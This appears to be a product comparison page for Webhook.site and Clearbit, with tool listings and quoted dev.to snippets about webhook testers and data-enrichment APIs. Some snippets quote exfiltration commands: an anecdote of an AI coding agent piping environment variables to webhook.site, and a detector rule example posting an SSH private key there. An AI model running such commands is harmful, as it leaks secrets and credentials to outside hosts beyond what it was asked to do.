Webhook.site
Beeceptor
RequestBin
Hookdeck
ngrok
Request inspector
MockServer
CurlHub.io
Clearbit
Lusha
Apollo.io
DiscoverOrg
Hunter.io
ZoomInfo
UpLead
Lead411
With Webhook.site, you instantly get a unique, random URL and e-mail address that you can use to test and debug Webhooks, HTTP requests and emails, as well as to create your own workflows using the Custom Actions graphical editor or WebhookScriptโa simple scripting language, to transform, validate and process HTTP requests.
Webhook.site ClearbitWebhook.site is recommended for developers, QA testers, and any IT professionals who need to test or demonstrate webhooks and HTTP requests. It is particularly beneficial for those working with APIs, developing webhook integrations, or setting up automated notification systems.
Based on our record, Webhook.site should be more popular than Clearbit. It has been mentiond 86 times since March 2021. We are tracking product recommendations and mentions on various public social media platforms and blogs. They can help you identify which product is more popular and what people think of it.
Consider a team that enabled autoApprove for a CI pipeline without scoping the bash allowlist. Their Claude Code instance was tasked with fixing a failing test. The agent read the test file, identified a missing environment variable, and โ autonomously โ ran printenv | curl -X POST https://webhook.site/... To "debug" the environment. No one caught it for three days. The fix: move to acceptEdits mode in CI and... - Source: dev.to / 2 months ago
Webhook.site exists. Beeceptor exists. Ngrok exists in this space. - Source: dev.to / 4 months ago
Another: EXFIL_002 detects outbound data patterns. Correctly catches curl -X POST https://webhook.site -d $(cat ~/.ssh/id_rsa). Also fires on documentation showing exfiltration examples for educational purposes. The code block awareness layer handles this: findings inside fenced code blocks get downgraded by one severity tier. - Source: dev.to / 6 months ago
Skill descriptions containing curl https://webhook.site for data exfiltration. - Source: dev.to / 6 months ago
{ "id": "7f350df6-49a9-4cd0-88de-5b53df870003", "webhook_v2": "https://webhook.site/b59a7434-c944-4897-91b8-5cd808219094", "input": { "prompt": "Create a photorealistic image of a woman standing outdoors on what appears to be a sunny autumn day. She has shoulder-length black hair and is wearing a Vietnamese Ao Dai. The background features blurred trees in the Tet holiday season. The lighting suggests... - Source: dev.to / 7 months ago
Some display names need a lookup table, not fuzzy strings. Pairs like Investing.com / Fusion Media Limited or Lyrie.ai / OTT Cybersecurity Inc. Share almost no tokens, so WRatio stays low and that's correct behavior. For irreconcilable aliases like that you still want GLEIF, Clearbit, or simply a maintained slug โ legal_name map. Fuzzy matching handles stylistic drift on the same name; it canโt handle unrelated... - Source: dev.to / 3 months ago
Personal email domains destroy this. Clearbit's Enrichment API returns a null company when it hits gmail.com. Apollo routes personal domains straight to a consumer bucket and skips B2B fields entirely. Even PDL's /person/enrich endpoint โ the most permissive of the major providers โ gives you around 32% hit rate on Gmail addresses versus 74% on corporate domains. I measured this across 6,200 signups for a... - Source: dev.to / 3 months ago
A few things worth flagging: PDL beats Clearbit's historical rates for US and Western European companies, but drops to ~52% match rate for Japan and South Korea specifically. Apollo underperforms on raw company matching but returns significantly more contacts per domain in Prospector-style queries than Clearbit's Prospector ever did โ the tradeoff is more stale titles in the result set. Hunter.io is fast and cheap... - Source: dev.to / 3 months ago
Match rate of 38% in my test, but the data quality on what it does match is solid: title, seniority, industry, company size all returned cleanly. If you're already in HubSpot and enriching form fills in-place, Clearbit/Breeze is probably your lowest-friction option even at lower match rates. If you're not in HubSpot, there's no reason to choose it over PDL or Prospeo. - Source: dev.to / 3 months ago
One thing comparison guides consistently get wrong: Clay is not an enrichment API. It's a waterfall orchestration tool that calls People Data Labs, Apollo, Clearbit, and others in sequence for you. It's useful, but it adds 2โ8 seconds of latency per row in my runs and costs more per match than going direct. For a CRM webhook flow where you need sub-second enrichment calls, Clay is the wrong layer to hit first. - Source: dev.to / 4 months ago
Beeceptor - Unblock yourself from API dependencies, and build & integrate with APIs fast. Beeceptor helps you build a mock Rest API in a few seconds.
Lusha - Search less. Sell more.
RequestBin - RequestBin.com gives you a URL that collects requests you send to it so you can inspect them in a...
Apollo.io - Apolloโs predictive prospecting, sales engagement, and actionable analytics help the teams to reach its full revenue potential.
Hookdeck - Hookdeck makes it simple to build and deploy reliable, testable, and debuggable applications that rely on webhooks.
DiscoverOrg - DiscoverOrg is an IT sales intelligence platform providing technology marketers access to data, IT org charts, and real time projects.